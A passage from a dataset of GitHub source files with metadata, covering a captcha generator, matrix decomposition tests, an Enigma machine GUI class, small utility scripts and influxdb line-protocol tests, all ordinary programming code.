\"’Chequer\"),\n (\"'guinny\", \"’guinny\"),\n (\"'light\", \"’light\"),\n (\"'lighting\", \"’lighting\"),\n (\"'prentice\", \"’prentice\"),\n (\"'Prentice\", \"’Prentice\"),\n (\"'prentices\", \"’prentices\"),\n (\"'sparagus\", \"’sparagus\"),\n )\n for rep in replacements:\n value = re.sub(rf\"(\\W){rep[0]}(\\W)\", rf\"\\1{rep[1]}\\2\", value)\n\n # Set smartypants to use the default replacements, and replace with\n # unicode characters instead of HTML entities.\n attrs = original_smartypants.Attrs = (\n original_smartypants.Attr.set1 | original_smartypants.Attr.u\n )\n\n value = original_smartypants.smartypants(value, attrs)\n\n return value\n\n\n@register.filter()\ndef markup_tooltip(value):\n if re.match(r\"\\d{4}-\\d{4}\", value) is not None:\n value = re.sub(\n r\"^(\\d{4})-(\\d{4})\",\n r'<span itemprop=\"birthDate\">\\1</span>-<span itemprop=\"deathDate\">\\2</span>', # noqa: E501\n value,\n )\n value = mark_safe(value)\n\n return value\n","repo_name":"philgyford/pepysdiary","sub_path":"pepysdiary/common/templatetags/text_formatting_filters.py","file_name":"text_formatting_filters.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"21683642748","text":"from visualenigma.box import Box\nfrom visualenigma.gui import GUI\nimport visualenigma.machine_data as md\nfrom visualenigma.utils import letterpositions\n\nclass CipheringMachine():\n\n \"\"\"The rotor machine itself.\n\n When instantiated, it automatically builds all its components\n (rotors, reflector, plugboard) and the GUI.\"\"\"\n\n def __init__(self, master,\n alphabet=md.DEFAULT_ALPHABET,\n rotor_set=[md.ROTOR_I, md.ROTOR_II, md.ROTOR_III],\n reflector=md.UKW_B,\n prawl_position=8,\n stepping_mode='normal'):\n print('Initializing ciphering machine...')\n self.alphabet = alphabet\n self.rotor_set = rotor_set\n self.reflector = reflector\n self.prawl_position = prawl_position\n self.stepping_mode = stepping_mode\n self.length = len(self.alphabet)\n if self.prawl_position >= self.length:\n raise Exception('Prawl position greater than alphabet length.')\n self.indices = letterpositions(self.alphabet)\n self.numberline = ['{:02d}'.format(i + 1)\n for i in range(self.length)]\n self.textcache = ''\n print(' Initializing box...')\n self.box = Box(self)\n print(' Initializing GUI...')\n self.gui = GUI(self, master)\n print('Ciphering machine initialized successfully.')\n","repo_name":"TheGreenHeptagon/visualenigma","sub_path":"visualenigma/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30131552777","text":"import pytest\nimport numpy as np\nimport numpy.linalg as npla\nimport scipy.linalg as spla\n\nfrom S1T2_solve_linear_system.py.exacts import (qr, lu,\n solve_lower_triang,\n solve_upper_triang,\n solve_lu,\n solve_qr)\n\n\ndef test_lu():\n \"\"\"\n check your LU vs SciPy's LU\n NB: SciPy's returns (P,L,U), where P is a permutational matrix, but here P is identity matrix\n Q: what's the complexity of your LU algorithm?\n \"\"\"\n with np.printoptions(precision=3, suppress=True):\n A = np.array([\n [9, 1, 2],\n [0, 8, 1],\n [9, 1, 9],\n ], dtype='float64')\n P, L0, U0 = spla.lu(A)\n L1, U1 = lu(A)\n\n assert npla.norm(A - L1 @ U1) < 1e-6\n assert npla.norm(L1 - L0) < 1e-6\n assert npla.norm(U1 - U0) < 1e-6\n\n\ndef test_qr():\n \"\"\"\n check your QR vs NumPy's QR\n NB: signs of Q's and R's can differ\n Q: what's the complexity of your QR algorithm?\n \"\"\"\n with np.printoptions(precision=3, suppress=True):\n A = np.array([\n [0, 1, 2],\n [3, 4, 5],\n [6, 7, 9],\n ], dtype='float64')\n\n Q0, R0 = npla.qr(A)\n Q1, R1 = qr(A)\n\n # check composition\n assert npla.norm(A - Q1 @ R1) < 1e-6\n # check Q is orthogonal\n assert npla.norm(Q1 @ Q1.T - np.eye(len(Q1))) < 1e-6\n # check R is upper triangular\n assert npla.norm(np.abs(R1) - np.abs(R0)) < 1e-6\n\n\ndef test_triangle_solve():\n A = np.array([\n [1, 0, 0],\n [2, 1, 0],\n [4, 2, 1],\n ], dtype='float64')\n b = np.array([1, 1, 3], dtype='float64')\n\n x = solve_lower_triang(A, b)\n assert npla.norm(x - npla.solve(A, b)) < 1e-6\n\n x = solve_upper_triang(A.T, b)\n assert npla.norm(x - npla.solve(A.T, b)) < 1e-6\n\n\n@pytest.mark.parametrize('n', range(0, 20))\ndef test_lu_solve(n):\n A = np.array([\n [n+2, 1, 1],\n [1, n+4, 1],\n [1, 1, n+6],\n ], dtype='float64')\n b = n + np.array([4, 6, 8], dtype='float64')\n\n x = solve_lu(A, b)\n assert npla.norm(x - 1) < 1e-6\n\n\n@pytest.mark.parametrize('n', range(0, 20))\ndef test_qr_solve(n):\n A = np.array([\n [n+2, 1, 1],\n [1, n+4, 1],\n [1, 1, n+6],\n ], dtype='float64')\n b = n + np.array([4, 6, 8], dtype='float64')\n\n x = solve_qr(A, b)\n assert npla.norm(x - 1) < 1e-6\n\n\ndef test_condition():\n \"\"\"\n check condition numbers\n Q: how condition number affect solving linear system?\n \"\"\"\n # with np.printoptions(precision=3, suppress=True):\n with np.printoptions(precision=3, suppress=True):\n rnd = np.random.RandomState(88)\n A = rnd.rand(5, 5)\n\n print()\n print(A)\n\n a_cond = npla.cond(A)\n svd_U, S, svd_V = npla.svd(A)\n print(f'singular values: {S}')\n print(f'condition number: {S[0]:.3f} / {S[-1]:.3f} = {a_cond:.3f}')\n\n L, U = lu(A)\n l_cond = npla.cond(L)\n u_cond = npla.cond(U)\n print('A = LU:')\n print(f'\\tL cond: {l_cond:.3f}')\n print(f'\\tU cond: {u_cond:.3f}')\n\n Q, R = qr(A)\n q_cond = npla.cond(Q)\n r_cond = npla.cond(R)\n print('A = QR:')\n print(f'\\tQ cond: {q_cond:.3f}')\n print(f'\\tR cond: {r_cond:.3f}')\n\n P, L, U = spla.lu(A)\n l_cond = npla.cond(L)\n u_cond = npla.cond(U)\n print('A = PLU:')\n print(f'\\tL cond: {l_cond:.3f}')\n print(f'\\tU cond: {u_cond:.3f}')\n\n assert np.abs(q_cond - 1) < 1e-6\n assert np.abs(q_cond * r_cond - a_cond) < 1e-6\n assert q_cond * r_cond <= l_cond * u_cond\n","repo_name":"7KASPAR7/University-Homeworks","sub_path":"sem4/chm-master/S1T2_solve_linear_system/py/test_exacts.py","file_name":"test_exacts.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18555420233","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 16 11:09:03 2023\n\n@author: juanpablomadrigalcianci\n\"\"\"\nfrom params import eth_opcodes\nfrom aux import classify\n\nETH_OPCODES=eth_opcodes()\n\n\nclass Opcode:\n def __init__(self, id: int=None, name: str=None, gas_used: float=0):\n \"\"\"\n Represents an opcode in a message.\n\n Args:\n id (int): The unique identifier of the opcode.\n name (str): The name or identifier of the opcode.\n gas_used (float): The amount of gas consumed by the opcode.\n \"\"\"\n self.id = id\n self.name = name\n \n if name in ETH_OPCODES:\n self.gas_used = ETH_OPCODES[name]\n else:\n self.gas_used=gas_used\n \n self.belongs_to_lane=classify(self.name,self.id)\n \n \n \n \n \n\n\n\n \n","repo_name":"juanpmcianci/IC3-Hackathon-gas-lanes","sub_path":"src/opcodes.py","file_name":"opcodes.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36359873873","text":"import random\r\nfrom PIL import Image, ImageFont, ImageDraw\r\n\r\n# 验证码的基本字符\r\nLOWERCASE = \"abcdefghjkmnpqrstuvwxy\" # 去除干扰的i, l, o, z\r\nUPPERCASE = LOWERCASE.upper()\r\nNUM = \"3456789\" # 去除干扰的1, 2\r\nINT_CHARS = \"\".join((LOWERCASE, UPPERCASE, NUM))\r\n\r\n# 验证码图片信息\r\nSIZE = (120, 30)\r\n\r\n\r\ndef gen_check_code(size=SIZE, chars=INT_CHARS, length=4, mode=\"RGB\", bg_color=(255, 255, 255), font_color=(0, 0, 255),\r\n font_size=24, font_type=\"simsun.ttc\", draw_line=True, n_lines=(3, 4), draw_point=True,\r\n chance_point=2):\r\n \"\"\"\r\n :param size: 验证码图片大小, 格式(width, height)\r\n :param chars: 验证码中使用的字符集\r\n :param length: 每次生成的验证码图片中字符的数量\r\n :param mode: 图片的颜色模式\r\n :param bg_color: 图片的背景颜色\r\n :param font_color: 图片的字符颜色\r\n :param font_size: 验证码中字符的大小\r\n :param font_type: 图片中字符的字体类型(默认会从给定的路径加载字体类型,如果找不到,会去sys.path路径下查找是否有该文件)\r\n :param draw_line: 是否在验证码中添加干扰线条\r\n :param n_lines: 放置多少条干扰线,元组表示范围,只有draw_line=True时,才有效\r\n :param draw_point: 是否在验证码中添加干扰点\r\n :param chance_point: 干扰点出现的概率, 要求在[0, 100]\r\n :return: 一个图片实例以及验证码中的字符\r\n \"\"\"\r\n width, height = size\r\n img = Image.new(mode, size, bg_color)\r\n draw = ImageDraw.Draw(img)\r\n\r\n def create_line(): # 绘制干扰线\r\n line_num = random.randint(*n_lines)\r\n for i in range(line_num):\r\n begin = (random.randint(0, width), random.randint(0, height))\r\n end = (random.randint(0, width), random.randint(0, height))\r\n draw.line([begin, end], fill=font_color)\r\n\r\n def create_point(): # 绘制干扰点\r\n chance = min(100, max(0, chance_point)) # 如果chance_point=2,表示图片中的像素点有2%的概率会被描绘有颜色的点\r\n for w in range(width):\r\n for h in range(height):\r\n tmp = random.randint(0, 100)\r\n if tmp < chance:\r\n draw.point((w, h), fill=font_color)\r\n\r\n def create_chars():\r\n s = random.sample(chars, length)\r\n new_s = \" \".join(s) # 在字符之间插入空格\r\n font = ImageFont.truetype(font_type, font_size)\r\n fw, fh = font.getsize(new_s)\r\n w, h = (width-fw)/2, (height-fh)/2\r\n draw.text((w, h), new_s, font=font, fill=font_color)\r\n return \"\".join(s)\r\n\r\n if draw_line:\r\n create_line()\r\n if draw_point:\r\n create_point()\r\n code = create_chars()\r\n return img, code\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"zhugeming0918/myblog","sub_path":"myblog-0.1.1/util/check_code.py","file_name":"check_code.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6204659206","text":"from jaziku import env\nfrom jaziku.utils import console\nfrom jaziku.modules.maps import maps\n\n\ndef configuration_run(stop_in=None, stop_in_grid=None):\n # load input settings saved\n settings = env.globals_vars.input_settings\n\n if stop_in != None:\n if stop_in_grid != None:\n try:\n settings[stop_in][stop_in_grid] = '?'\n except:\n settings[stop_in].append('?')\n else:\n settings[stop_in] = '?'\n\n ## CONFIGURATION RUN SECTION\n print(_(\"\\nCONFIGURATION RUN:\"))\n\n console.msg(\" Modules:\", color='cyan')\n print(\" {0} ------------- {1}\".format(\"data analysis\", settings[\"data_analysis\"]))\n if stop_in == \"data_analysis\": return\n print(\" {0} ----------- {1}\".format(\"climate process\", settings[\"climate_process\"]))\n if stop_in == \"climate_process\": return\n print(\" {0} ---------- {1}\".format(\"forecast process\", settings[\"forecast_process\"]))\n if stop_in == \"forecast_process\": return\n\n console.msg(\" General options:\", color='cyan')\n print(\" {0} --------- {1}\".format(\"analysis interval\", settings[\"analysis_interval\"]))\n if stop_in == \"analysis_interval\": return\n print(\" {0} --- {1}\".format(\"class category analysis\", settings[\"class_category_analysis\"]))\n if stop_in == \"class_category_analysis\": return\n print(\" {0} ------------ {1}\".format(\"process period\", settings[\"process_period\"]))\n if stop_in == \"process_period\": return\n print(\" {0} --------------- {1}\".format(\"analog year\", settings[\"analog_year\"]))\n if stop_in == \"analog_year\": return\n print(\" {0} ---------------------- {1}\".format(\"lags\", settings[\"lags\"]))\n if stop_in == \"lags\": return\n print(\" {0} ------------------ {1}\".format(\"language\", settings[\"language\"]))\n if stop_in == \"language\": return\n\n console.msg(\" Check options:\", color='cyan')\n print(\" {0} ----------- {1}\".format(\"consistent data\", settings[\"consistent_data\"]))\n if stop_in == \"consistent_data\": return\n print(\" {0} ------------- {1}\".format(\"risk analysis\", settings[\"risk_analysis\"]))\n if stop_in == \"risk_analysis\": return\n\n console.msg(\" Output options:\", color='cyan')\n print(\" {0} ------------------ {1}\".format(\"graphics\", settings[\"graphics\"]))\n if stop_in == \"graphics\": return\n\n for x, label in enumerate(settings[\"categories_labels_var_I\"]):\n if x == 0:\n print(\" {0} --- {1}\".format(\"categories labels var I\", label))\n else:\n print(\" {0}\".format(label))\n if stop_in == \"categories_labels_var_I\": return\n\n print(\" {0} - {1}\".format(\"relevant_climate_categ...\", settings[\"relevant_climate_categories_var_I\"]))\n if stop_in == \"relevant_climate_categories_var_I\": return\n\n console.msg(\" Var D options:\", color='cyan')\n print(\" {0} ---------------- {1}\".format(\"type var D\", settings[\"type_var_D\"]))\n if stop_in == \"type_var_D\": return\n print(\" {0} - {1}\".format(\"mode calculation series D\", settings[\"mode_calculation_series_D\"]))\n if stop_in == \"mode_calculation_series_D\": return\n print(\" {0} -------------- {1}\".format(\"limits var D\", settings[\"limits_var_D\"]))\n if stop_in == \"limits_var_D\": return\n print(\" {0} ---------- {1}\".format(\"thresholds var D\", settings[\"thresholds_var_D\"]))\n if stop_in == \"thresholds_var_D\": return\n\n console.msg(\" Var I options:\", color='cyan')\n print(\" {0} ---------------- {1}\".format(\"type var I\", settings[\"type_var_I\"]))\n if stop_in == \"type_var_I\": return\n print(\" {0} - {1}\".format(\"mode calculation series I\", settings[\"mode_calculation_series_I\"]))\n if stop_in == \"mode_calculation_series_I\": return\n print(\" {0} -------- {1}\".format(\"path to file var I\", settings[\"path_to_file_var_I\"]))\n if stop_in == \"path_to_file_var_I\": return\n print(\" {0} -------------- {1}\".format(\"limits var I\", settings[\"limits_var_I\"]))\n if stop_in == \"limits_var_I\": return\n print(\" {0} ---------- {1}\".format(\"thresholds var I\", settings[\"thresholds_var_I\"]))\n if stop_in == \"thresholds_var_I\": return\n\n if env.config_run.settings['forecast_process']:\n console.msg(\" Forecast options:\", color='cyan')\n print(\" {0} ------------- {1}\".format(\"forecast date\", settings[\"forecast_date\"]))\n if stop_in == \"forecast_date\": return\n print(\" {0} ------ {1}\".format(\"forecast var I lag 0\", settings[\"forecast_var_I_lag_0\"]))\n if stop_in == \"forecast_var_I_lag_0\": return\n print(\" {0} ------ {1}\".format(\"forecast var I lag 1\", settings[\"forecast_var_I_lag_1\"]))\n if stop_in == \"forecast_var_I_lag_1\": return\n print(\" {0} ------ {1}\".format(\"forecast var I lag 2\", settings[\"forecast_var_I_lag_2\"]))\n if stop_in == \"forecast_var_I_lag_2\": return\n\n ## MAPS SECTION\n print(_(\"\\nMAPS:\"))\n\n console.msg(\" Maps options:\", color='cyan')\n print(\" {0} ---------------------- {1}\".format(\"maps\", settings[\"maps\"]))\n if stop_in == \"maps\": return\n\n if env.config_run.settings['maps']:\n print(\" {0} --------------- {1}\".format(\"overlapping\", settings[\"overlapping\"]))\n if stop_in == \"overlapping\": return\n print(\" {0} ------------ {1}\".format(\"marks stations\", settings[\"marks_stations\"]))\n if stop_in == \"marks_stations\": return\n print(\" {0} ------------ {1}\".format(\"shape boundary\", settings[\"shape_boundary\"]))\n if stop_in == \"shape_boundary\": return\n for idx_grid in range(len(maps.Grid.all_grids)):\n console.msg(\" Grid definition #{0}:\".format(idx_grid + 1), color='cyan')\n print(\" {0} ---------------------- {1}\".format(\"grid\", settings[\"grid\"][idx_grid]))\n if stop_in == \"grid\" and idx_grid == stop_in_grid: return\n print(\" {0} ---------------- {1}\".format(\"shape path\", settings[\"shape_path\"][idx_grid]))\n if stop_in == \"shape_path\" and idx_grid == stop_in_grid: return\n print(\" {0} ------------------ {1}\".format(\"latitude\", settings[\"latitude\"][idx_grid]))\n if stop_in == \"latitude\" and idx_grid == stop_in_grid: return\n print(\" {0} ----------------- {1}\".format(\"longitude\", settings[\"longitude\"][idx_grid]))\n if stop_in == \"longitude\" and idx_grid == stop_in_grid: return\n print(\" {0} ----------- {1}\".format(\"grid resolution\", settings[\"grid_resolution\"][idx_grid]))\n if stop_in == \"grid_resolution\" and idx_grid == stop_in_grid: return\n print(\" {0} -------- {1}\".format(\"semivariogram type\", settings[\"semivariogram_type\"][idx_grid]))\n if stop_in == \"semivariogram_type\" and idx_grid == stop_in_grid: return\n print(\" {0} ------------------ {1}\".format(\"radiuses\", settings[\"radiuses\"][idx_grid]))\n if stop_in == \"radiuses\" and idx_grid == stop_in_grid: return\n print(\" {0} ------------ {1}\".format(\"max neighbours\", settings[\"max_neighbours\"][idx_grid]))\n if stop_in == \"max_neighbours\" and idx_grid == stop_in_grid: return\n\n # Print some warnings and notifications\n\n if env.config_run.settings['path_to_file_var_I'] == 'internal':\n internal_file_I_name = env.var_I.INTERNAL_FILES[env.var_I.TYPE_SERIES]\n split_internal_var_I = internal_file_I_name.split(\".\")[0].split(\"_\")\n console.msg(\n _(\"\\n > You are using internal files for independent\\n\"\n \" variable defined as {0} which has data from\\n\"\n \" {1} to {2} and the source of data was\\n\"\n \" obtained in {3}.\\n\"\n \" url: {4}\")\n .format(split_internal_var_I[0], split_internal_var_I[1],\n split_internal_var_I[2], ' '.join(split_internal_var_I[3::]),\n env.var_I.INTERNAL_URLS[env.var_I.TYPE_SERIES]))\n\n if (not env.config_run.settings['limits_var_D']['below'] or\n not env.config_run.settings['limits_var_D']['above'] or\n not env.config_run.settings['limits_var_I']['below'] or\n not env.config_run.settings['limits_var_I']['above']):\n console.msg(_(\"\\n > WARNING: you are using one or more limits as\\n\"\n \" 'none' value, this means that series values\\n\"\n \" will not be checked if they are valid in\\n\"\n \" its limits coherent. This option is not\\n\"\n \" recommended, use it with precaution\"), color='yellow')\n\n if env.config_run.settings['mode_calculation_series_D'] == 'accumulate':\n console.msg(_(\"\\n > WARNING: you are defined the var D as accumulate,\\n\"\n \" please make sure the time series are accumulative\\n\"\n \" if it are monthly, bimonthly or trimonthly\"), color='yellow')\n\n if env.config_run.settings['mode_calculation_series_I'] == 'accumulate':\n console.msg(_(\"\\n > WARNING: you are defined the var I as accumulate,\\n\"\n \" please make sure the time series is accumulative\\n\"\n \" if it is monthly, bimonthly or trimonthly\"), color='yellow')\n","repo_name":"XavierCLL/Jaziku","sub_path":"jaziku/core/settings/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":9168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38156818214","text":"class Bike:\n # Attributes of Class\n color = None\n tyre_size = None\n price = None\n fuel_type = None\n\n # Behaviour of the Class\n def ride_type(self):\n print(\"Move Forward\")\n\n def explain_attr(self):\n print(f\"Color is - \", self.color)\n print(f\"Tyre Size is - \", self.tyre_size)\n print(f\"Price is - \", self.price)\n print(f\"Fuel Type is - \", self.fuel_type)\n\nbike1 = Bike()\nbike1.color = \"Blue\"\nbike1.explain_attr()\n\nbike2 = Bike()\nbike2.color = \"Silver\"\nbike2.explain_attr()\n","repo_name":"anshulc55/selenium-python","sub_path":"PythonBasics/OOPS/MyFirstClass.py","file_name":"MyFirstClass.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70812700092","text":"import sys\n\nop = ['+','-','*','/']\nwhite_space = ' '\nlexeme = ''\nnumber1 = ''\naspa =\"'\"\nnumlist = []\nopseq=[]\nfor param in sys.argv[1:] :\n for i, char in enumerate(param):\n if char != white_space: \n lexeme += char\n if char in op or char == aspa:\n if char == aspa:\n pass\n else:\n opseq.append(char)\n number1 = lexeme[:-1]\n lexeme =''\n numlist.append(number1)\n \nnumlist = numlist[1:]\nnumlist.reverse()\nopseq.reverse()\nwhile len(opseq)> 0:\n #print(len(numlist))\n operand = opseq.pop()\n if operand == '+':\n num1 = numlist.pop()\n num2 = numlist.pop()\n #print(num1)\n #print(num2)\n result = int(num1)+int(num2)\n #print(result)\n numlist.append(result)\n elif operand == '-':\n num1 = numlist.pop()\n num2 = numlist.pop()\n #print(num1)\n #print(num2)\n result = int(num1)-int(num2)\n #print(result)\n numlist.append(result)\n elif operand == '/':\n result = int(numlist.pop())/int(numlist.pop())\n #print(result)\n numlist.append(result)\n elif operand == '*':\n result = int(numlist.pop())*int(numlist.pop())\n #print(result)\n numlist.append(result)\nprint(result)\n\n ","repo_name":"joaoppc/Compilador","sub_path":"roteiro0.py","file_name":"roteiro0.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19968111525","text":"from os import get_terminal_size, name, system\nfrom datetime import date\nfrom re import search\n\n# Sí o no\ndef si_o_no (var, no_valida=True):\n\tif no_valida:\n\t\treturn True if var.lower() == 's' else False\n\telse:\n\t\treturn True if var.lower() in ('s', 'n') else False\n\n# Muestra el valor de una variable numérica de manera legible\ndef numero (var, digitos=2):\n\tif int(float(var)) == float(var):\n\t\treturn var\n\telse:\n\t\tif len(str(var).split('.')[1]) == 1:\n\t\t\treturn str(var) + '0'\n\t\telse:\n\t\t\treturn round(float(var), digitos)\n\n# Si es número\ndef es_numero (variable):\n\ttest = search('^\\d+$', variable)\n\tif bool(test):\n\t\treturn True\n\telse:\n\t\treturn False\n\n# Sumar meses de a uno\ndef sumar_mes(_mes, ano_bool=False, _ano=date.today().year):\n _mes += 1\n _ano = _ano if _mes < 13 else _ano + 1\n _mes = 1 if _mes == 13 else _mes\n if ano_bool:\n _mes = str(_mes) if _mes > 9 else f'0{_mes}'\n return f'{_ano}-{_mes}'\n else:\n return _mes\n\n# Restar meses de a uno\ndef restar_mes(_mes, ano_bool=False, _ano=date.today().year):\n _mes -= 1\n _ano = _ano if _mes > 0 else _ano - 1\n _mes = 12 if _mes == 0 else _mes\n if ano_bool:\n _mes = str(_mes) if _mes > 9 else f'0{_mes}'\n return f'{_ano}-{_mes}'\n else:\n return _mes\n\n#Añador ceros antes del número\ndef pre_0 (_x, cant_0=9):\n\t_x = str(_x)\n\tcant_0 = cant_0 - len(_x)\n\treturn cant_0*'0' + str(_x)\n\n# Limpiar pantalla\nlimpiar = lambda os_type=name, os_dict={\n\t'posix': 'clear',\n\t'nt': 'cls'\n}: system(os_dict[os_type])\n\n# Filas y columnas\ntam = lambda filas_o_columnas, term_dict = {\n\t'columnas': get_terminal_size().columns,\n\t'filas': get_terminal_size().lines\n}: term_dict[filas_o_columnas]\n\n# Pausar\npausa = lambda: input('Presione ENTRE para continuar\\u2026')\n\n# Si es bisiesto\nes_bisiesto = lambda ano: ano % 4 == 0 and ano % 100 != 0 and ano % 400 == 0\n\nif __name__ == '__main__':\n\tpass","repo_name":"PabliNet/dbclub","sub_path":"pablinet.py","file_name":"pablinet.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12467304630","text":"#%%\nclass Solution:\n \"\"\"\n Problem\n https://projecteuler.net/problem=65\n\n How to Run\n solver = Solution()\n solver.find_solution(100)\n \"\"\"\n def get_k(self, x):\n if x == 1:\n return 2\n if x % 3 == 0:\n return 2 * (x // 3)\n else:\n return 1\n\n def compute_denominator_nominator(self, index):\n n, d = 0, 1\n while index > 0:\n a = self.get_k(index)\n n, d = d, n + d * a\n index -= 1\n return d, n\n \n def find_solution(self, index):\n n = self.compute_denominator_nominator(index)[0]\n res = 0\n while n > 0: \n n, r = divmod(n, 10)\n res += r\n return res","repo_name":"RyoNakagami/PythonCompetitiveProgramming","sub_path":"projecteuler/problem_0065_convergence_of_e.py","file_name":"problem_0065_convergence_of_e.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70849098173","text":"# -*- coding: utf-8 -*-\n\"\"\"Define the line protocol test module.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport unittest\n\nfrom datetime import datetime\nfrom decimal import Decimal\n\nfrom pytz import UTC, timezone\nfrom influxdb import line_protocol\n\n\nclass TestLineProtocol(unittest.TestCase):\n \"\"\"Define the LineProtocol test object.\"\"\"\n\n def test_make_lines(self):\n \"\"\"Test make new lines in TestLineProtocol object.\"\"\"\n data = {\n \"tags\": {\n \"empty_tag\": \"\",\n \"none_tag\": None,\n \"backslash_tag\": \"C:\\\\\",\n \"integer_tag\": 2,\n \"string_tag\": \"hello\"\n },\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"string_val\": \"hello!\",\n \"int_val\": 1,\n \"float_val\": 1.1,\n \"none_field\": None,\n \"bool_val\": True,\n }\n }\n ]\n }\n\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test,backslash_tag=C:\\\\\\\\,integer_tag=2,string_tag=hello '\n 'bool_val=True,float_val=1.1,int_val=1i,string_val=\"hello!\"\\n'\n )\n\n def test_timezone(self):\n \"\"\"Test timezone in TestLineProtocol object.\"\"\"\n dt = datetime(2009, 11, 10, 23, 0, 0, 123456)\n utc = UTC.localize(dt)\n berlin = timezone('Europe/Berlin').localize(dt)\n eastern = berlin.astimezone(timezone('US/Eastern'))\n data = {\n \"points\": [\n {\"measurement\": \"A\", \"fields\": {\"val\": 1},\n \"time\": 0},\n {\"measurement\": \"A\", \"fields\": {\"val\": 1},\n \"time\": \"2009-11-10T23:00:00.123456Z\"},\n {\"measurement\": \"A\", \"fields\": {\"val\": 1}, \"time\": dt},\n {\"measurement\": \"A\", \"fields\": {\"val\": 1}, \"time\": utc},\n {\"measurement\": \"A\", \"fields\": {\"val\": 1}, \"time\": berlin},\n {\"measurement\": \"A\", \"fields\": {\"val\": 1}, \"time\": eastern},\n ]\n }\n self.assertEqual(\n line_protocol.make_lines(data),\n '\\n'.join([\n 'A val=1i 0',\n 'A val=1i 1257894000123456000',\n 'A val=1i 1257894000123456000',\n 'A val=1i 1257894000123456000',\n 'A val=1i 1257890400123456000',\n 'A val=1i 1257890400123456000',\n ]) + '\\n'\n )\n\n def test_string_val_newline(self):\n \"\"\"Test string value with newline in TestLineProtocol object.\"\"\"\n data = {\n \"points\": [\n {\n \"measurement\": \"m1\",\n \"fields\": {\n \"multi_line\": \"line1\\nline1\\nline3\"\n }\n }\n ]\n }\n\n self.assertEqual(\n line_protocol.make_lines(data),\n 'm1 multi_line=\"line1\\\\nline1\\\\nline3\"\\n'\n )\n\n def test_make_lines_unicode(self):\n \"\"\"Test make unicode lines in TestLineProtocol object.\"\"\"\n data = {\n \"tags\": {\n \"unicode_tag\": \"\\'Привет!\\'\" # Hello! in Russian\n },\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"unicode_val\": \"Привет!\", # Hello! in Russian\n }\n }\n ]\n }\n\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test,unicode_tag=\\'Привет!\\' unicode_val=\"Привет!\"\\n'\n )\n\n def test_make_lines_empty_field_string(self):\n \"\"\"Test make lines with an empty string field.\"\"\"\n data = {\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"string\": \"\",\n }\n }\n ]\n }\n\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test string=\"\"\\n'\n )\n\n def test_tag_value_newline(self):\n \"\"\"Test make lines with tag value contains newline.\"\"\"\n data = {\n \"tags\": {\n \"t1\": \"line1\\nline2\"\n },\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"val\": \"hello\"\n }\n }\n ]\n }\n\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test,t1=line1\\\\nline2 val=\"hello\"\\n'\n )\n\n def test_quote_ident(self):\n \"\"\"Test quote indentation in TestLineProtocol object.\"\"\"\n self.assertEqual(\n line_protocol.quote_ident(r\"\"\"\\foo ' bar \" Örf\"\"\"),\n r'''\"\\\\foo ' bar \\\" Örf\"'''\n )\n\n def test_quote_literal(self):\n \"\"\"Test quote literal in TestLineProtocol object.\"\"\"\n self.assertEqual(\n line_protocol.quote_literal(r\"\"\"\\foo ' bar \" Örf\"\"\"),\n r\"\"\"'\\\\foo \\' bar \" Örf'\"\"\"\n )\n\n def test_float_with_long_decimal_fraction(self):\n \"\"\"Ensure precision is preserved when casting floats into strings.\"\"\"\n data = {\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"float_val\": 1.0000000000000009,\n }\n }\n ]\n }\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test float_val=1.0000000000000009\\n'\n )\n\n def test_float_with_long_decimal_fraction_as_type_decimal(self):\n \"\"\"Ensure precision is preserved when casting Decimal into strings.\"\"\"\n data = {\n \"points\": [\n {\n \"measurement\": \"test\",\n \"fields\": {\n \"float_val\": Decimal(0.8289445733333332),\n }\n }\n ]\n }\n self.assertEqual(\n line_protocol.make_lines(data),\n 'test float_val=0.8289445733333332\\n'\n 